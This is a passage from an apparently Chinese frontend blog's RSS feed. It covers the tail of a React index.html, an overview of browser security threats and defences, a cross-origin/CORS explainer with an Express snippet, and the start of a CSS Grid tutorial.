&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;%PUBLIC_URL%/favicon.ico&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#000000&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;meta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;content=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Web site created using create-react-app&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;apple-touch-icon&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;%PUBLIC_URL%/logo192.png&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;manifest&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;%PUBLIC_URL%/manifest.json&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;React App&lt;span style="color:#f92672"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;noscript&amp;gt;&lt;/span&gt;You need to enable JavaScript to run this app.&lt;span style="color:#f92672"&gt;&amp;lt;/noscript&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;zs&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;App.jsx&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>浏览器的安全性</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-012/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-012/</guid><description>&lt;p&gt;浏览器安全性是前端开发中的重要考察点之一，主要指浏览器在访问网站过程中如何防止攻击者利用漏洞或机制实施攻击、窃取数据、破坏用户体验等。&lt;/p&gt;
&lt;h2 id="一常见的浏览器安全威胁"&gt;一、常见的浏览器安全威胁&lt;/h2&gt;
&lt;h3 id="1-xss跨站脚本攻击"&gt;1. &lt;strong&gt;XSS（跨站脚本攻击）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原理：攻击者注入恶意脚本到网页中，在用户浏览页面时执行。&lt;/li&gt;
&lt;li&gt;危害：窃取 cookie、伪造操作、传播蠕虫。&lt;/li&gt;
&lt;li&gt;防御：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;对输出进行&lt;strong&gt;HTML转义&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;使用 &lt;strong&gt;Content Security Policy（CSP）&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;严格控制用户输入（白名单）；&lt;/li&gt;
&lt;li&gt;使用框架自动防御（如 React 的 JSX 自动转义）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="2-csrf跨站请求伪造"&gt;2. &lt;strong&gt;CSRF（跨站请求伪造）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原理：用户登录目标网站后，被诱导访问恶意链接，触发网站上的有状态请求。&lt;/li&gt;
&lt;li&gt;危害：修改密码、转账等敏感操作被伪造。&lt;/li&gt;
&lt;li&gt;防御：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 CSRF Token；&lt;/li&gt;
&lt;li&gt;Referer 验证；&lt;/li&gt;
&lt;li&gt;SameSite Cookie 属性限制第三方请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="3-点击劫持clickjacking"&gt;3. &lt;strong&gt;点击劫持（Clickjacking）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原理：攻击者在页面上嵌入透明 iframe，引诱用户点击。&lt;/li&gt;
&lt;li&gt;防御：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;禁止网页被嵌入 iframe：&lt;code&gt;X-Frame-Options: DENY / SAMEORIGIN&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;使用 CSP 中的 &lt;code&gt;frame-ancestors&lt;/code&gt; 指定允许嵌入的来源。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="4-恶意文件上传"&gt;4. &lt;strong&gt;恶意文件上传&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原理：上传可执行脚本，触发服务端或客户端执行。&lt;/li&gt;
&lt;li&gt;防御：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;严格限制文件类型与大小；&lt;/li&gt;
&lt;li&gt;不在上传目录下执行脚本；&lt;/li&gt;
&lt;li&gt;设置 CDN 或存储桶只读访问权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="5-恶意第三方脚本供应链攻击"&gt;5. &lt;strong&gt;恶意第三方脚本（供应链攻击）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原理：攻击者污染 CDN 或依赖源，注入恶意代码。&lt;/li&gt;
&lt;li&gt;防御：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用子资源完整性校验（Subresource Integrity, SRI）；&lt;/li&gt;
&lt;li&gt;只信任可靠的依赖源；&lt;/li&gt;
&lt;li&gt;上线前锁定依赖版本。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二浏览器原生安全机制"&gt;二、浏览器原生安全机制&lt;/h2&gt;
&lt;h3 id="1-同源策略same-origin-policy"&gt;1. &lt;strong&gt;同源策略（Same-Origin Policy）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;限制不同源之间访问 Cookie、DOM、LocalStorage 等。&lt;/li&gt;
&lt;li&gt;同源指：协议、域名、端口号都相同。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-cors跨域资源共享"&gt;2. &lt;strong&gt;CORS（跨域资源共享）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;浏览器通过预检请求和响应头判断是否允许跨域访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-content-security-policycsp"&gt;3. &lt;strong&gt;Content Security Policy（CSP）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通过设置 HTTP Header 控制资源加载策略，防止 XSS 和数据泄露。&lt;/li&gt;
&lt;li&gt;示例：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39; https://trust.cdn.com;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-http-only--secure-cookie"&gt;4. &lt;strong&gt;HTTP-only &amp;amp; Secure Cookie&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;/code&gt;: 防止 JavaScript 读取 Cookie；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;/code&gt;: 仅在 HTTPS 下传输 Cookie；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SameSite&lt;/code&gt;: 限制第三方请求携带 Cookie。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-sandboxiframe-安全沙箱"&gt;5. &lt;strong&gt;Sandbox（iframe 安全沙箱）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;iframe sandbox&amp;gt;&lt;/code&gt; 属性限制 iframe 的行为；&lt;/li&gt;
&lt;li&gt;可防止脚本执行、表单提交等危险操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三前端开发中的安全实践"&gt;三、前端开发中的安全实践&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;安全措施&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;输入校验&lt;/td&gt;
&lt;td&gt;客户端和服务端都要做，优先使用白名单策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;输出编码&lt;/td&gt;
&lt;td&gt;HTML、JavaScript、URL 编码避免 XSS 注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;加密传输防止中间人攻击（MITM）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;使用现代框架&lt;/td&gt;
&lt;td&gt;React/Vue/Angular 等框架天然防御 XSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;限制权限&lt;/td&gt;
&lt;td&gt;用户行为应严格授权与验证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSP 策略&lt;/td&gt;
&lt;td&gt;强制资源加载来源、禁止内联脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="四总结"&gt;四、总结&lt;/h2&gt;
&lt;p&gt;浏览器安全是前端必须掌握的重要基础知识，核心目标是 &lt;strong&gt;防止前端受到攻击者控制或操纵&lt;/strong&gt;。它涉及浏览器机制、HTTP协议、安全头部、数据验证等多个维度，需要前端开发者在日常开发中养成良好安全意识与编码习惯。&lt;/p&gt;</description></item><item><title>跨域通信</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-012/</link><pubDate>Mon, 14 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-012/</guid><description>&lt;h2 id="什么是跨域"&gt;什么是跨域&lt;/h2&gt;
&lt;p&gt;在了解跨域之前，我们必须要了解一下同源策略。 跨域问题其实就是浏览器的同源策略造成的。&lt;/p&gt;
&lt;h3 id="同源策略"&gt;同源策略&lt;/h3&gt;
&lt;p&gt;同源策略限制了从同一个源加载的文档或脚本如何与另一个源的资源进行交互。这是浏览器的一个用于隔离潜在恶意文件的重要的安全机制。同源指的是：&lt;strong&gt;协议&lt;/strong&gt;、&lt;strong&gt;端口号&lt;/strong&gt;、&lt;strong&gt;域名&lt;/strong&gt;必须一致。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;跨源资源共享&lt;/strong&gt;（[CORS]，或通俗地译为跨域资源共享）是一种基于 [HTTP] 头的机制，该机制通过允许服务器标示除了它自己以外的其他[源] （域、协议或端口），使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求，该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中，浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="为什么会产生跨域"&gt;为什么会产生跨域&lt;/h2&gt;
&lt;p&gt;下表给出了与 URL &lt;a href="http://wmq.com/dir/page.html"&gt;wmq.com/dir/page.ht…&lt;/a&gt; 的源进行对比的示例:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;是否跨域&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://wmq.com/dir/page.html"&gt;wmq.com/dir/page.ht…&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;同源&lt;/td&gt;
&lt;td&gt;完全相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://wmq.com/dir/inner/another.html"&gt;wmq.com/dir/inner/a…&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;同源&lt;/td&gt;
&lt;td&gt;只有路径不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://wmq.com/secure.html"&gt;wmq.com/secure.html&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;跨域&lt;/td&gt;
&lt;td&gt;协议不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://wmq.com:81/dir/etc.html"&gt;wmq.com:81/dir/etc.htm…&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;跨域&lt;/td&gt;
&lt;td&gt;端口不同 ( http:// 默认端口是80)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://news.company.com/dir/other.html"&gt;news.company.com/dir/other.h…&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;跨域&lt;/td&gt;
&lt;td&gt;主机不同&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;同源策略：protocol（协议）、domain（域名）、port（端口）三者必须一致。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;同源政策主要限制了三个方面：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前域下的 js 脚本不能够访问其他域下的 cookie、localStorage 和 indexDB。&lt;/li&gt;
&lt;li&gt;当前域下的 js 脚本不能够操作访问操作其他域下的 DOM。&lt;/li&gt;
&lt;li&gt;当前域下 ajax 无法发送跨域请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;源政策的目的主要是为了保证用户的信息安全，它只是对 js 脚本的一种限制，并不是对浏览器的限制，对于一般的 img、或者script 脚本请求都不会有跨域的限制，这是因为这些操作都不会通过响应结果来进行可能出现安全问题的操作。&lt;/p&gt;
&lt;h2 id="有哪些解决跨域的办法"&gt;有哪些解决跨域的办法&lt;/h2&gt;
&lt;h3 id="cors"&gt;CORS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CORS&lt;/strong&gt;: 通过设置服务器端的响应头来允许跨域请求。这需要在服务器端进行配置，以允许特定的来源访问资源。例如，在Node.js的Express框架中，可以使用以下代码来设置CORS：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;express&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;express&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;express&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;use&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;next&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Access-Control-Allow-Origin&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 允许所有来源访问
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Access-Control-Allow-Headers&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;Origin, X-Requested-With, Content-Type, Accept&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 允许的请求头
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Access-Control-Allow-Methods&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;GET, POST, PUT, DELETE, OPTIONS&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 允许的请求方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;next&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 其他路由和中间件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;listen&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;, () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Server is running on port 3000&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="减少options请求次数"&gt;减少OPTIONS请求次数&lt;/h4&gt;
&lt;p&gt;在跨域请求中，浏览器会自动处理一些非简单请求的预检流程，这包括&amp;quot;预检请求&amp;quot;（也被称为CORS预检请求）和&amp;quot;OPTIONS请求&amp;quot;。预检请求是发起一个HTTP OPTIONS请求到服务器，以确认目标资源是否支持跨域。这种机制是为了兼容同源策略而产生的，但有时这种额外的请求会导致性能问题。&lt;/p&gt;</description></item><item><title>Grid布局</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/</guid><description>&lt;h2 id="grid-布局是什么"&gt;Grid 布局是什么？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Grid&lt;/code&gt; 布局即网格布局，是一种新的 &lt;code&gt;CSS&lt;/code&gt; 布局模型，比较擅长将一个页面划分为几个主要区域，以及定义这些区域的大小、位置、层次等关系。号称是最强大的的 &lt;code&gt;CSS&lt;/code&gt; 布局方案，是目前唯一一种 &lt;code&gt;CSS&lt;/code&gt; 二维布局。利用 &lt;code&gt;Grid&lt;/code&gt; 布局，我们可以轻松实现类似下图布局，&lt;a href="https://codepen.io/gpingfeng/pen/qBbveKB?editors=1100"&gt;演示地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="grid-布局和-flex-布局"&gt;Grid 布局和 flex 布局&lt;/h2&gt;
&lt;p&gt;讲到布局，我们就会想到 &lt;code&gt;flex&lt;/code&gt; 布局，甚至有人认为竟然有 &lt;code&gt;flex&lt;/code&gt; 布局了，似乎没有必要去了解 &lt;code&gt;Grid&lt;/code&gt; 布局。但 &lt;code&gt;flex&lt;/code&gt; 布局和 &lt;code&gt;Grid&lt;/code&gt; 布局有实质的区别，那就是 &lt;strong&gt;&lt;code&gt;flex&lt;/code&gt; 布局是一维布局，&lt;code&gt;Grid&lt;/code&gt; 布局是二维布局&lt;/strong&gt;。&lt;code&gt;flex&lt;/code&gt; 布局一次只能处理一个维度上的元素布局，一行或者一列。&lt;code&gt;Grid&lt;/code&gt; 布局是将容器划分成了“行”和“列”，产生了一个个的网格，我们可以将网格元素放在与这些行和列相关的位置上，从而达到我们布局的目的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Grid&lt;/code&gt; 布局远比 &lt;code&gt;flex&lt;/code&gt; 布局强大！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;flex布局示例:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;Grid 布局示例：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/image-03.webp"&gt;&lt;/p&gt;
&lt;h2 id="grid-的一些基础概念"&gt;Grid 的一些基础概念&lt;/h2&gt;
&lt;p&gt;我们使用 Grid 实现一个小例子，演示 Grid 的一些基础概念，&lt;a href="https://codepen.io/gpingfeng/pen/QWyoexm?editors=1100"&gt;演示地址&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;wrapper&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;one item&amp;#34;&lt;/span&gt;&amp;gt;One&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;two item&amp;#34;&lt;/span&gt;&amp;gt;Two&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;three item&amp;#34;&lt;/span&gt;&amp;gt;Three&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;four item&amp;#34;&lt;/span&gt;&amp;gt;Four&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
